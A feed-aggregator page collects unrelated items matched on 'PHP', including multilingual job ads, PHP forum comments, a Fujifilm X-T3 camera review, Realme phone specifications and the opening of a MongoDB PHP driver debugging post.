MP4 | Video: AVC 1280x720 | Audio: AAC 44KHz 2ch | Duration: 3 Hours | Lec: 21 | 396 MB
Genre: eLearning | Language: English


          MySQL/PHP programmeur      Cache   Translate Page      
Algemeen: Wij zijn een energie advies bureau en hebben o.a. een energie monitoring website voor bedrijven. Voor het vernieuwen van deze website zijn wij op zoek naar een goede MySQL/PHP programmeur die met ons mee kan denken. Werkzaamheden: - Vernieuwen van oude database door een nieuwe database (MySQL)...
          Accounting Manager - i21 recruitment - Pará      Cache   Translate Page      
Send in your CV to Cariza Punsalan (cariza.punsalan@i21recruitment.com). Up to Php 65,000....
De i21 recruitment - Thu, 30 Aug 2018 08:41:30 GMT - Visualizar todas as empregos: Pará
          Corporate Legal Manager - i21 recruitment - Pará      Cache   Translate Page      
Corporate Legal Manager Salary: Up to Php 55,000 dependant on experience An established manufacturing giant is looking for a Corporate Legal Manager to...
De i21 recruitment - Fri, 24 Aug 2018 08:43:00 GMT - Visualizar todas as empregos: Pará
          Warehouse Manager - i21 recruitment - Pará      Cache   Translate Page      
Warehouse Manager Salary: Php 60, 000 - 65, 000 A stable and profitable manufacturing company is looking for Warehouse Manager to join their prestigious...
De i21 recruitment - Wed, 18 Jul 2018 08:43:29 GMT - Visualizar todas as empregos: Pará
          Regional Sales and Marketing Manager - i21 recruitment - Pará      Cache   Translate Page      
Regional Sales and Marketing Manager Salary: Php 70, 000 - 75, 000 An ambitious engineering giant who aims to expand its business is looking for a dedicated...
De i21 recruitment - Wed, 18 Jul 2018 08:43:01 GMT - Visualizar todas as empregos: Pará
          Reply To: New version 0.79 issue with PHP 5.3      Cache   Translate Page      

Yes, version 0.79 is incompatible with PHP < 5.4

I recommend upgrading PHP. The version you have reached end of life a long time ago. It is much slower and less secure than recent versions.


          Webentwickler PHP, Laravel oder Symfony Mannheim (m/w)      Cache   Translate Page      
Jobangebot: Mehr Infos und bewerben unter: https://www.campusjaeger.de/jobs/4376?s=18101178+ Deine Aufgaben in unserem Team: * Planen, Implementieren und Testen individueller und innovativer Web-Applikationen in PHP mit den Frameworks Symfony und Laravel. * Weiterentwicklung und Customizing unseres Software Produktes sowie der internen Agenturverwaltungs-Software. * Konzeptionelle Aufarbeitung der Kundenwünsche. * Anpassung und individuelle Erweiterung von CMS- und E-Commerce-Lösungen (Bspw. Drupal, Shopware). * Eigenverantwortliche Abwicklung und Koordination der Projekte mit Deinen Kollegen. * Direkte Abstimmung mit externen Dienstleistern und Kunden. * Evaluierung & Einführung neuer Tools & Methoden zur Optimierung der Entwicklungs-Prozesse.+ Was bringst ... 0 Kommentare, 53 mal gelesen.
          PHP Safe and Rector      Cache   Translate Page      
I came across a couple of very interesting PHP libraries today. The first one is thecodingmachine/safe.  This library wraps all PHP functions that return false on failure into another function that throws the exception instead. Think of all those file_get_contents() and json_decode() situations you had to code around.  Not anymore.  You can easily have them throw … Continue reading PHP Safe and Rector
          PHP assertions and assertion libraries      Cache   Translate Page      
I’ve blogged about PHP assertions and assertion libraries a while back.  I haven’t started using the assertions anywhere outside of unit tests yet, but with more and more bloat added to the code to check for types and particular values, I keep coming back to the idea. Today I came across a nice article by Matthias … Continue reading PHP assertions and assertion libraries
          Experienced PHP Web Developer      Cache   Translate Page      
Experienced PHP Web Developer Job Ad Content: Are you feeling fired up about building great user experiences as well as the under-the-hood components that make it all work? Career In Progress, is a Career Management & Recruiting Company that offers high-profile, boutique services for businesses across Greece. On behalf of our client, an evolving Web Design & Development Company located in Athens, we are looking for a nimble and analytical mind with the ability to think through (as well as around) obstacles and a track record of delivering neat & effective web solutions on time, for...
          Junior Web Developer - Chalandri      Cache   Translate Page      
Intelligent Media, a media technologies company based at Chalandri - Athens, is seeking for a full-time female Junior Web Developer for its idcs (idcs.gr) Business Unit. Job Description: Handling of first- and second level support for an online loyalty club platform developed and operated on behalf of a multinational company Participation in various web development projects Job Requirements: Knowledge and proven work experience (at least 1 year of experience), focused on PHP Programming and HTML5, CSS3, JavaScript, AJAX/JSON, MySQL/MariaDB Experienced in CMS development...
          comment by: Alan Levine      Cache   Translate Page      

Well, thanks, although the comment is not related to this post, but we shall not penalize you for that.

When you have RSS feeds that are dynamically generated, they have a "?" in the URL. If you just put the direct URL into the rss2js.php script, it chokes because the second "?" indicates the beginning of another stricng of names/variables to poass to the script.

The "build.php" script provided in the RSS2JS distribution does the same thhing as the form on our site- it converts the string into a URL it can handle and adds the options for the script.

You can either run this on our site and get the correct paramater string (everything after "rss2js.php?" and swap in the URL for your version of this, OR run the build.php script from your own server.

I would like to re-write our site to provide some better user end support, as soon as this Arizona blizzard melts away.


          comment by: Alan Levine      Cache   Translate Page      

As a quick test, I was able to get rss2php to substitute a single quote for the ' characters from your feeds; try:

http://jade.mcli.dist.maricopa.edu/feed/build.php?src=http%3A%2F%2Fwww.deskpops.com%2Frss%2Fdeskpopsbot%2Findex.php%3Fy%3D0%26myh%3Dbackend%26myh_op%3Drss%26myh_sid%3D760&chan=no&num=0&desc=no&date=no

I have no idea what that character is after "Sebato"- there is only so much we can do with the squirrley characters being generated elsewhere.


          Comment on Arroway Design Craft Vol.2 by TM      Cache   Translate Page      
All torrent links are not working. click the link and go to the blank page . ---------------------------------------------------------------------------------------------------------------------------------------------------------- Not Found The requested URL /torrents.php was not found on this server. Apache/2.4.7 (Ubuntu) Server at gfxpeers.net Port 80
          Fujifilm X-T3 Review - Best Value, All-rounder APS-C Mirrorless Camera!      Cache   Translate Page      
Will the Fujifilm X-T3 continue to impress us like in our initial impressions of the improved autofocus and video performance from the new sensor and processor?
Fujifilm X-T3 Review - Best Value! All-rounder APS-C Mirrorless Camera!
The new X-T3 in black!

We had few gripes with the X-T2. One of them was that the autofocus was great for stills with single point and area autofocus but it struggled in continuous autofocus with fast moving objects in stills and fast moving objects in video. It also struggled in low light when the autofocus point used is outside fo the center or when it is no longer a phase detect type.

My work around for this is using back button autofocus on single point. This was supplemented by manual focus with Focus peaking.

The new quad-core X-Processor 4 paired with a completely rewritten algorithm promises significantly improved autofocus while the new X-Trans 4 CMOS back side illuminated sensor brings improved signal to noise ratio (SNR) with the new lowest native ISO 160 that translates to less noise in the images.

But, does the new hardware deliver? Let's find out!

For our review part 1: Fujifilm X-T3 First Impressions

Unboxing/Accessories

Inside the retail box!
Inside the retail box!

We received the unit with the retail box that includes the camera body, the quick start guide, the manual, the charging brick with round prong plugs, the camera strap, the triangle lugs with inserting tool, the battery and the external flash.

We also did a live unboxing on Facebook.

Display Quality

Touch functionality comes to the X-T3!
Touch functionality like pinch to zoom comes to the X-T3!

There are two displays on the X-T3. The first is inside the viewfinder. It is a 3.69 millions dots OLED Color Viewfinder with 0.75x Magnification. This is a significant improvement over the X-T2's 2.36 millions dots OLED Color Viewfinder. The refresh rate in normal mode is at 60 fps and goes up to 100 fps when in boost mode.

The second display is the 3-inch, 1.04M dot Color Touch screen display with two-way tilt.

It is now a touch screen that adds functionality like tap to focus, tap to trigger the shutter, swipe commands, pinch to zoom and to move autofocus points. This vastly helps when moving autofocus points while still looking at the view finder or when quickly reviewing images after taking them.

Battery Life

The NP-W126S returns!
The NP-W126S returns!

The NP-W126S li-ion battery is rated for 390 shots for still images. This is a 15 percent improvement from the 310 rated shots from the X-T2. For 4K video recording without face detect autofocus turned on, it is rated for 40 minutes of recording time.

In our real world tests, the X-T3 was giving us around 500 to 600 shots with RAW + FINE JPEG when we used it without video. When using the camera as both stills and video at 4K 60 fps, we were getting 400 to 500 shots. This is enough for most days where in we weren't taking pictures of everything we saw. 

When shooting 4K at 60 fps or 1080p at 120 fps with face detect autofocus, we were getting 50 to 60 minutes of footage that is split into 4GB chunks. 

If you plan to use this for travelling or for events/weddings, where you will be taking a pictures and recording video all day, we recommend gauging your own personal usage and bring extra batteries depending on your own estimates with leeway. 

Charging the battery via the charging brick or in-camera via USB Type-C, it would take around 90 minutes to get from empty to full.

The new charging brick now comes with a plug in wall prong that allows the charging brick to charge directly from the socket. This effectively gets rid of the long wire that connects the brick to the socket.

Performance

The X-T3 now has a new X-Trans 4 CMOS sensor coupled with a new quad-core X-Processor 4 that on paper allows for maximum AF speeds of 0.06 seconds, shutter release lag of 0.45 sec, start up time of 0.3 sec, 100 fps EVF refresh rate and up to 30 frames per second maximum shooting speed. (In Boost mode/Electronic shutter mode)

In real life, the start-up time is instantaneous. As soon as you flip the switch it is ready to go. This is the same as when you press the shutter release button. As soon as you press it fully, the shutter releases. 

The 100 fps EVF refresh rates help when you are ripping the 30 frames per second shooting because it minimises the EVF display blackout so you can continue to see your subject and follow through. This is quite an achievement because other mirrorless cameras (APS-C or Full Frame have a long blackout time or some can't be used while the buffer is being emptied into the SD card slots)

There are several shutter release types. Our favorite is the Electronic Front curtain plus mechanical shutter when shooting almost every scene with the exception of when we're shooting high speed action sports and wild life. In this case I go for the full electronic shutter to achieve the maximum 30 frames per second shooting speed.

In our time with the X-T3 we shoot RAW (lossless compressed) + JPEG (Fine) and we were using a Sandisk 280MB/s UHS-II SD card to keep up with the bandwidth required. JPEGs alone can reach 12 to 15MB/s per image.


I found myself at a fashion show and I decided to test the X-T3's 5.7 frames per second with face/eye detect and to test how many shots it would take to fill the buffer and how many of those shots will have the eye of the subject in focus. 

The results of the runway test can be found on this Flickr link here.

It has 46 images that were shot in succession as the model was moving towards the camera at brisk walking pace. 7 out of 46 images were out of focus. 1 of that 7 was because of handshake. This translates to a hit rate of 8 out of 10 in that scenario.

I wanted to do more tests with the new autofocus system of the X-T3 as it now has nearly full sensor coverage of Phase Detect Pixels coupled with the new processor promises to be able to keep up with the best of the competition like Canon's Dual Pixel autofocus.

Below is a two part video. The first one shows footage from my smartphone recording the external display of the X-T3 as it is recording while the autofocus acquires the subject, tracks the subject and hopefully hits the subject (and be in focus). The second part is the video recorded by the X-T3 that shows if the camera did get the subject in focus.

The result is stunning for a Fujifilm Camera. Our older X-T2 was fast enough with single point autofocus for stills. It struggled with autofocus continuous and in video.

In terms of autofocus, the X-T3 is in a different league from the X-T2! It can acquire subjects and track them quickly and responsively that competes with Canon's dual pixel. The Dual Pixel of Canon however is able to have a slightly higher hit rate.

This could be remedied in a future firmware update as Fujifilm has been known to release firmware updates to their cameras even to their older X-Pro1 camera that was released in 2012.

The bottomline is that the X-T3's autofocus is fast and reliable in both stills and video enough that it is near Canon's Dual Pixel autofocus and Sony's Face/Eye detect autofocus! 

And with Fujifilm's track record of constant firmware upgrades, the autofocus and the performance will only get better in time just like how older X-T1s, X-T2s and X-Pro2s were different cameras from launch to the present day.

The images are stunning!

In terms of stills when viewing RAW files we noticed that there is a minor improvement in resolution (sharpness and detail).

The new lowest native ISO of 160 allows for better dynamic range and cleaner (no noise) images at the lower range of ISOs. At the higher ISOs the noise is slightly more prominent than the previous X-T2 but the slightly higher sharpness and details compensates for the softening of noise reduction.

When pulling for detail in the shadows, there is noticeably less purple discolouration of the X-T3 compared to the X-T2's images.

This is mainly due to the sensor having covered in Phase Detect pixels. 

(This is a personal choice) Because of these reasons that I am comfortable with High ISOs of up to 6400 even for professional work. I wouldn't mind pushing it up to the maximum of 12800 if worse comes to shove. The detail is enough to compensate for the softening of noise reduction.

Camera Samples

With XF 200 f/2 at 200 mm f/4.0 1/500th sec ISO 160
With XF 200 f/2 at 200 mm f/4.0 1/500th sec ISO 160
With XF 50-140 f/2.8 at 140mm f/4.0 1/250th sec ISO 200
With XF 50-140 f/2.8 at 140mm f/4.0 1/250th sec ISO 200
With XF 50-140 f/2.8 at 140 mm f/2.8 1/125th sec ISO 250
With XF 50-140 f/2.8 at 140 mm f/2.8 1/125th sec ISO 250
With XF 18-55 f/2.8-4.0 at 55 mm f/5.6 1/60th sec ISO 640
With XF 18-55 f/2.8-4.0 at 55 mm f/5.6 1/60th sec ISO 640
With XF 8-16 f2.8 at 9.9 mm f/22 60 seconds ISO 160
With XF 8-16 f2.8 at 9.9 mm f/22 60 seconds ISO 160

Below is the SOOC JPEG at ISO 8000 and it is clean. If you look a the RAW file, you will notice that the noise is there but the added detail from the 26MP sensor allows for noise reduction without losing noticeable detail.
With XF 8-16 f/2.8 at 8 mm f/4.0 1/30th sec ISO 8,000
With XF 8-16 f/2.8 at 8 mm f/4.0 1/30th sec ISO 8,000

Note: For full size Flickr links of the images, click here.

For video, the X-T3 is now capable to stand toe to toe with industry leading cameras like the Panasonic GH5 because it can now shoot "4K 60 fps 10-bit" internally into an SD card at 4:2:0 Chroma subsampling. It can also record up to 4:2:2 if recorded externally. Chroma Subsampling is a type of compression for video recording that favors luminance data over color information without affecting image quality. 

The GH5 however has a smaller Micro Four Thirds sensor meaning that it will struggle with low light more than the X-T3's bigger APS-C sensor.

The X-T3 can also shoot FHD/1080p slow motion up to 5 times and save it. This means that when you view the video file from another device, it will play it all in your desired frame rate.

The 4K 60 fps along with the rest of the resolution and frame rate produces one of the best RAW footages from an APS-C mirrorless cameras to date. Even at higher ISOs the grain is controlled well that if we didn't have a choice, we would be okay using higher ISOs for recording footage. (Then again, there is no substitute for good lighting may it be natural or artificial)

The X-T3 also ups their game with the audio quality of their videos because it has a pre-amp built-in which allows for significantly better quality. There is also a dedicated 3.5mm headphone jack and 3.5 mm microphone jack at the left side. 

The added video features along with the new Autofocus system make the X-T3 one of the best cameras for 4K 60 fps mirrorless camera on the market today!

Video Samples


Competition

The X-T3 is priced at PHP 86,990 for the body only and with its feature set it competes directly with the Sony A7III and the Panasonic GH5. Before, Fujifilm's X-series wasn't even considered for video work but with the improvements on the X-T3 it is very viable. 

Against the PHP 119,990 priced Panasonic GH5: the X-T3 gains the benefits of the larger sensor in low light and depth of field along with a more reliable autofocus system compared to the GH5.

Against the PHP 115,999 priced Sony A7III: The X-T3 may have a smaller sensor but because of it have smaller sized equivalent lenses. The X-T3 also has a more organised Menu system that makes it easier to navigate and less obtrusive while shooting.

Ergonomics is a personal thing but when attaching the larger lenses on the Sony A7 bodies, the distance from the mount to the grip's size becomes a problem as the large lens tends to get really close to the grip thus living little room for the photographer's hand.

Against the PHP 102,900 priced Nikon D500: The X-T3 has a deeper buffer with the X-T2, but it will still struggle with the D500's nearly bottomless buffer along with the wider selection of lenses from Nikon. The X-T3 wins in value for price because it can do most of what the D500 can do in terms of speed for sports, action and wildlife but at the same time offer a more robust video recording features in a smaller package.

Pros - Beautiful retro but modern design, assembled in China but build quality is top notch, Best value for the price, touch screen is now added, Weather Resistant, Eterna film simulation/LUT makes it easier to color grade, USB Type-C charging
Cons - Battery life is okay but could be lacking for DSLR veterans, file buffer is deeper than X-T2 but could be deeper, Wish the 3-way tilt from the X-T100 was carried over, lacks features like touch to lock-on subject and waveforms for video, we still wish the grip was deeper like the X-H1

Verdict

Four years ago, Fujifilm X-series cameras were not known for their video features but for their beautiful retro design, stunning image quality and compact nature because of the APS-C format, but with the X-T3, they have added more features for photography and videography than any other camera in the price range!

The change started in early 2018 when video centric features like IBIS and the Eterna film simulation were introduced with the X-H1. Despite not having IBIS, the new Fujifilm X-T3 has changed the game with the significantly faster and more reliable autofocus that comes from the new algorithms and the new more powerful quad-core processor. 

This results in a beautifully designed camera that produces stunning stills images and videos with reliable autofocus even in low light. No camera is perfect and neither is this one because we wished the grip and the buffer was deeper and that the 3-way flip screen from the X-T100 carried over.

If you don't need the bottomless buffer of the D500 or the dynamic range latitude of a full frame sensor, but are looking for the best value camera with beautiful design, reliable autofocus, stunning image and video quality and can live with carrying extra batteries/USB Type-C power banks, then we highly recommend the X-T3!

Build - 4.75
Display - 4.5
Battery - 4.25
Performance - 4.5
Autofocus - 4.5
Image Quality - 4.5
Video Quality - 4.5
GIZ Rating - 4.5/5

          Realme C1, Realme 2, and Realme 2 Pro goes official in Southeast Asia      Cache   Translate Page      
Realme, the sub-brand of OPPO, just launched three new smartphones in Southeast Asia. It include the Realme C1, Realme 2, and Realme 2 Pro!
Realme C1, Realme 2, and Realme 2 Pro goes official in Southeast Asia
Realme 2 Pro

Realme C1 is the entry-level offering of the company. It is equipped with a 6.2-inch IPS screen with HD+ 1520 x 720 resolution. Inside, it is powered by the Snapdragon 450, Adreno 506, 2GB RAM, 16GB expandable storage, and 4,230mAh battery.
Realme C1
Realme C1

It also has a 13MP + 2MP dual-camera setup behind and a 5MP selfie shooter with AI face beauty and face unlock.

Realme C1 Specs

Display: 6.2-inch 2.5D curved In-Cell IPS screen w/ HD+ 1440 x 720 resolution at 260 ppi
CPU: 1.8GHz 64-bit Snapdragon 450 octa-core processor
GPU: Adreno 506
RAM: 2GB
ROM: 16GB expandable via microSD card slot up to 256GB (dedicated)
Back Camera: 13MP f/2.2 + 2MP f/2.4 w/ AF and LED flash
Selfie Camera: 5MP f/2.2 w/ AI Beauty 2.0
Battery: 4,230mAh
OS: Android 8.1 Oreo w/ ColorsOS 5.1
Connectivity: WiFi 802.11 a/b/g/n/ac, 4G LTE, FM Radio, Bluetooth 4.2, GPS, A-GPS, dual SIM
Sensors: Accelerometer, light, orientation, proximity, gyroscope, sound, magnetic
Others: Face unlock, Colors: ocean blue, deep black
Dimensions: 156.2 x 75.6 x 8.2 mm
Weight: 168 g
Price: TBC
Realme 2
Realme 2

On the other hand, the Realme 2 is the better version of the OPPO A3s. Basically, it has the A3s specs, but it has up to 4GB RAM/64GB of expandable storage. It also has a fingerprint scanner at the back.

Realme 2 Specs

Display: 6.2-inch 2.5D curved In-Cell IPS screen w/ HD+ 1440 x 720 resolution at 260 ppi
CPU: 1.8GHz 64-bit Snapdragon 450 octa-core processor
GPU: Adreno 506
RAM: 3GB/4GB
ROM: 32GB/64GB expandable via microSD card slot up to 256GB (dedicated)
Back Camera: 13MP f/2.2 + 2MP f/2.4 w/ AF and LED flash
Selfie Camera: 8MP f/2.2 w/ AI Beauty 2.0
Battery: 4,230mAh
OS: Android 8.1 Oreo w/ ColorsOS 5.1
Connectivity: WiFi 802.11 a/b/g/n/ac, 4G LTE, FM Radio, Bluetooth 4.2, GPS, A-GPS, dual SIM
Sensors: Accelerometer, light, orientation, proximity, gyroscope, sound, magnetic
Others: Fingerprint sensor, Face unlock, Colors: diamond red, diamond blue, diamond black
Dimensions: 156.2 x 75.6 x 8.2 mm
Weight: 167 g
Price: TBC
Realme 2 Pro
Realme 2 Pro

Last is the Realme 2 Pro, its the most powerful Realme yet. It is equipped witha  6.3-inch FHD+ screen, Snapdragon 660 AIE octa-core processor, up to 8GB RAM, up to 128GB storage, and 3,500mAh battery.

It also has a 16MP f/1.7 Sony IMX398 + 16MP f/1.7 Sony IMX398 dual-camera setup at the back w/ Dual Pixel PDAF, EIS, and LED flash and a 16MP f/2.0 selfie camera w/ AI Beauty Recognition and screen flash.

Realme 2 Pro Specs

Display: 6.3-inch 2.5D curved Gorilla Glass protected IPS LCD with FHD+ resolution of 2340 x 1080 at 409 ppi
CPU: 2.2GHz 64-bit Snapdragon 660 AIE octa-core processor
GPU: Adreno 512
RAM: 4GB/6GB/8GB
ROM: 32GB/64GB/128GB expandable via microSD card slot up to 256GB (dedicated)
Main Camera: 16MP f/1.7 Sony IMX398 + 16MP f/1.7 Sony IMX398 w/ Dual Pixel PDAF, EIS, and LED flash
Selfie Camera: 16MP f/2.0 w/ AI Beauty Recognition and screen flash
Battery: 3,500mAh
OS: Android 8.1 Oreo w/ ColorsOS 5.2
Connectivity: WiFi 802.11 a/b/g/n/ac, 3G, 4G 700MHz LTE w/ VoLTE, Bluetooth 4.2, A2DP, LE, OTG, GPS, A-GPS, dual SIM
Sensors: Accelerometer, light, orientation, proximity, gyroscope, sound, magnetic
Others: Fingerprint sensor, face unlock, Colors: blue, black sea, ice lake
Dimensions: 156.7 x 74.0 x 8.5 mm
Weight: 174 g
Price: TBC

The C1 is priced at IDR 1,499,000 or PHP 5.3K. The Realme 2 has a starting price of IDR 1,999,000 or around PHP 7.1K. The 4GB RAM/64GB ROM version is priced at PHP IDR 2,399,00 or around PHP 8.5K.

On the other hand, the Realme 2 Pro with 4GB RAM/64GB ROM is priced at IDR 2,899,000 or around PHP 10.3K, 6GB RAM/64GB ROM is priced at IDR 3,299,000 or around PHP 11.7K, and the 8GBRAM/64GB ROM variant is priced at IDR 3,699,000 or around PHP 13.2K.

Our friends from Unbox also confimed that the Realme 2 and Realme 2 Pro will be available in the Philippines soon.

We just don't know the exact date of availability and official local SRP.

What do you guys think?

          Civil Registry Associate - Unisys Managed Services - Kalinga      Cache   Translate Page      
Philippine's largest organization that manage Public Civil Registry documents is currently in search for a customer relations officer to assist one of the... PHP 290 a day
From Indeed - Mon, 16 Jul 2018 06:51:58 GMT - View all Kalinga jobs
          Civil Registry Associate - Bontoc - Unisys Managed Services - Mountain Province      Cache   Translate Page      
Philippine's largest organization that manage Public Civil Registry documents is currently in search for a customer relations officer to assist one of the... PHP 315 a day
From Indeed - Wed, 26 Sep 2018 03:42:59 GMT - View all Mountain Province jobs
          Loan Officer (Abatan, Buguias & Atok) - Ecumenical Church Foundation, inc. (ECLOF) - Benguet      Cache   Translate Page      
* Candidate must possess at least Vocational Diploma/Short Course Certificate, Bachelor's/College Degree in Agriculture/Aquaculture/Forestry, Business Studies... PHP 8,000 - PHP 11,000 a month
From Indeed - Thu, 27 Sep 2018 08:25:22 GMT - View all Benguet jobs
          Sales Supervisor - Brenton Internation Mfg. Corp. - Benguet      Cache   Translate Page      
Male/Female at least with 2 - 3 years work related experience in Retail/Sales Residence in La Trinidad, Benguet or nearby town willing to be assigned in... PHP 15,000 a month
From Indeed - Fri, 31 Aug 2018 02:33:56 GMT - View all Benguet jobs
          Développeur PHP [#2273] - Alteo Recrutement Informatique - Montréal, QC      Cache   Translate Page      
Alteo est à la recherche d'un Développeur PHP pour un emploi permanent basé à Montréal. Créer des composants côté serveur et des points de terminaison API...
From EmploisInformatique.com - Mon, 08 Oct 2018 04:48:00 GMT - View all Montréal, QC jobs
          4.2.2 to 4.2.5      Cache   Translate Page      
I'll start by saying "I'm new to this" having taken over a forum which has been somewhat neglected for a while - which will explain a few things I guess. My host recently upgraded PHP to 5.6 to...
          Макс1 написал(а) в теме: Можно ли выполнить условие $var===false      Cache   Translate Page      
Сокет-сервер, использующий скрипт на PHP под Linux, разрывает соединение со стороны сервера, если для данных $input, полученных с клиента, выполняется условие $input===false Если соединение с клиента происходит через модем, при закрытии соединения на клиенте с помощью команды AT^SISC=0 сервер получает данные, равные значению false в PHP, и закрывает соединение со стороны сервера. Если соединение происходит с помощью клиента на C#, при закрытии соединения клиентом сервер не получает значения false, не закрывает соединение, если оно закрывается по условию $input===false, и пытается читать пустые строки с клиента. Для пустой строки $input это условие не выполняется. Соединение можно закрывать по другому условию, например, при получении другой определенной строки.
Вопрос не о сетях, а о том, можно ли, чтобы не менять условие закрытия соединения на сервере, отправив определенные байты с клиента, получить на сервере значение, соответствующее условию $input===false? В чем отличие значения false на PHP от пустой строки, и можно ли получить true, сравнивая false с данными другого типа, например, строкой или байтом, с помощью оператора === Он проверяет тождество типов, но каким-то образом при получении данных с клиента, который использует модем, условие сравнения выполняется. Клиент на C# отправляет данные в виде массива байт.
          PHP 7.1.23, 7.2.11, 7.3.0 RC3 released      Cache   Translate Page      
The following new PHP versions has been released: PHP 7.1.23, PHP 7.2.11, and PHP 7.3.0 RC3...
          [Freelancer] EXPERT Core PHP Developer for calling app at server level      Cache   Translate Page      
From Freelancer // I'm looking for an expert Core PHP Developer who can work on server for a calling mobile app. Also needs to add some technical feature for mobile calling app at server in PHP.
          Senior PHP Developer (m/w) Operations      Cache   Translate Page      
Wer sind wir? limango ist der Online Shop für junge Familien. Bei uns kannst Du jeden Tag beliebte &hellip;
          PHP Structured Programming Win32 117.00      Cache   Translate Page      
PHP・Perl・H8・Z80・SuperH・ARM・PowerPC・V850の汎用構造化プリプロセッサ
          Human Resource Assistant - Baguio Ice Plant and Cold Storage Inc - Baguio      Cache   Translate Page      
*Job Summary* *HR ASSISTANT* A group of Baguio based companies is looking for an HR Assistant with the following qualifications: * Female * Graduate of... PHP 9,000 a month
From Indeed - Mon, 01 Oct 2018 01:43:08 GMT - View all Baguio jobs
          DUTY OFFICER - Tropical Focus Phils. Inc. - Baguio      Cache   Translate Page      
Coordinate with the chiller operator regarding the status of the plant. The role of the Duty Officer is (but not limited) to:.... PHP 15,000 - PHP 16,000 a month
From Indeed - Tue, 11 Sep 2018 08:48:58 GMT - View all Baguio jobs
          Broiler Technical Services Representative - Bounty Agro Ventures Inc. - Isabela      Cache   Translate Page      
The company is fully supported by hundreds of broiler contract farms, dozens of hatcheries, feed mills, poultry processing plants and processed meats plants.... PHP 12,000 - PHP 15,500 a month
From Indeed - Mon, 24 Sep 2018 05:15:58 GMT - View all Isabela jobs
          Sales Specialist - Bounty Agro Ventures Inc. - Isabela      Cache   Translate Page      
The company is fully supported by hundreds of broiler contract farms, dozens of hatcheries, feed mills, poultry processing plants and processed meats plants.... PHP 12,000 - PHP 15,500 a month
From Indeed - Mon, 24 Sep 2018 04:55:36 GMT - View all Isabela jobs
          Soil and Plant Analyst - Hijo International Trading Singapore Pte. Ltd - Surigao City      Cache   Translate Page      
College Degree in Agriculture (Soil and Plant Tech/ entomologist, soil science and the like). Must be willing to work at Trento, Agusan del Sur.... PHP 12,000 - PHP 15,000 a month
From Indeed - Mon, 23 Jul 2018 06:38:41 GMT - View all Surigao City jobs
          Truck Driver - Bearean Logistic Services - Valenzuela      Cache   Translate Page      
Escolta St., Binondo Manila. Candidate must possess at least a High School Diploma or any field.... PHP 14,000 - PHP 18,000 a month
From Indeed - Thu, 09 Aug 2018 06:35:45 GMT - View all Valenzuela jobs
          Веб-технологии :: RE: Куда податься начинающему программисту      Cache   Translate Page      
Автор: Туров Борис
Тема: Re: Куда податься начинающему программисту
: Ср, 10 Окт, 2018 2:02 (GMT 2)

Silent_Bob говорит:
Хочу спросить совета у старших товарищей - ЧЯДНТ ?
Пару слов о себе - есть образование программиста, но в те славные времена,
когда уже была windows NT , мы в университете учили другие важные и нужные вещи - программирование
под ДОС и ассемблер i8080. С той поры прошло много времени, те знания уже тогда были не нужны, а сейчас и подавно.
С самообразованием вроде проблем нет - освоил microchip asm, perl и php+js. Пишу пока неуверенно, заглядывая в мануалы
- но несколько полезных вещей написал.
Вот решил попробовать заработать на хлеб програмерским трудом.
На воркюа нашел вакансию, где берут новичков в php - сделал тестовое задание, дали уже настоящее,
оно оказалось для меня неподъемным. Пообещали дать попроще, и пропали - больше со мной не связывались.
Нашел другую вакансию - выполнил тест, пригласили на собеседование. Сказали что перезвонят на следующий день.
Не перезвонили, позвонил сам - ответили, что пока по моей кандидатуре нет решения, ну я понял, и тут я в пролёте.
Вобщем, чувствую себя как тот ковбой из анекдота - " Джо, сдается мне, что мы с тобой говна бесплатно наелись".
Это что, особенности местного HR, или такое везде в этом деле ? На кой хрен я тратил время на эти бесполезные
тестовые задания и собеседование, если я мог провести его большей пользой.
Не, я понимаю что скрипачи т.е. новички никому не нужны - но какойто замкнутый круг выходит.
Никуда не берут, потому что нет опыта. А опыта нет, потому что никуда не берут. Поделитесь пожалуйста советом,
кто и как "разрывал" свои круги.


Да, если не сложно, то напишите сайты, где есть вакансии. Так как на сайтах типа Авито, НН, Работа, Городработ и т.п. мало вакансии. И как вообще находите работу именно в IT сфере?? Или может удалённо??


          PHP & Node.js Developer - smconsultant - Kukatpally, Hyderabad, Telangana      Cache   Translate Page      
Having knowledge on Amazon AWS and Google Cloud platform is an added advantage. We’re looking for an energetic and enthusiastic Developers PHP, Node.js to join... ₹1,80,000 - ₹2,30,000 a year
From Indeed - Sat, 29 Sep 2018 08:43:22 GMT - View all Kukatpally, Hyderabad, Telangana jobs
          Using the Right Debugging Tools      Cache   Translate Page      

Using the Right Debugging Tools

A while ago, we updated the MongoDB PHP driver's embedded C library to a new version. The C library handles most of the connection management and other low level tasks that the PHP driver needs to successfully talk to MongoDB deployments, especially in replicated environments where servers might disappear for maintenance or hardware failures.

After upgrading the C library from 1.12 to 1.13 we noticed that one of the PHP driver's tests was failing:

derick@singlemalt:~/dev/php/derickr-mongo-php-driver $ make test TESTS=tests/atlas.phpt
…
====================================================================
FAILED TEST SUMMARY
---------------------------------------------------------------------
Atlas Connectivity Tests [tests/atlas.phpt]
=====================================================================

When running the test manually, we get:

derick@singlemalt:~/dev/php/mongodb-mongo-php-driver $ php tests/atlas.phpt
--TEST--
Atlas Connectivity Tests
--SKIPIF--
skip Atlas tests not wanted
--FILE--
PASS
mongo-php-driver/src/libmongoc/src/libmongoc/src/mongoc/mongoc-cluster.c:1852 mongoc_cluster_fetch_stream_single():
        precondition failed: scanner_node && !scanner_node->retired
Aborted

That was not good news.

The atlas.phpt test tests whether the PHP driver (through the C driver) can connect to a set of different deployments of Atlas, MongoDB's Database as a Service platform. The test makes sure we can talk to an Atlas replica set, a sharded cluster, a free tier replica set, as well as TLS 1.1 and TLS 1.2 specific deployments. The test started failing when connecting to the second provided URI (the sharded cluster).

At first I thought this was caused by the upgrade from version 1.12 to 1.13 of the C driver, but that didn't end up being the case. Let's see how we got to finding and fixing this bug.

First of all, I started GDB to see where it was failing:

derick@singlemalt:~/dev/php/mongodb-mongo-php-driver $ gdb --args php tests/atlas.phpt
GNU gdb (Debian 8.1-4+b1) 8.1
…
Reading symbols from php...done.
(gdb) run
Starting program: /usr/local/php/7.3dev/bin/php tests/atlas.phpt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
--TEST--
Atlas Connectivity Tests
--FILE--
PASS
mongo-php-driver/src/libmongoc/src/libmongoc/src/mongoc/mongoc-cluster.c:1852 mongoc_cluster_fetch_stream_single():
        precondition failed: scanner_node && !scanner_node->retired

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
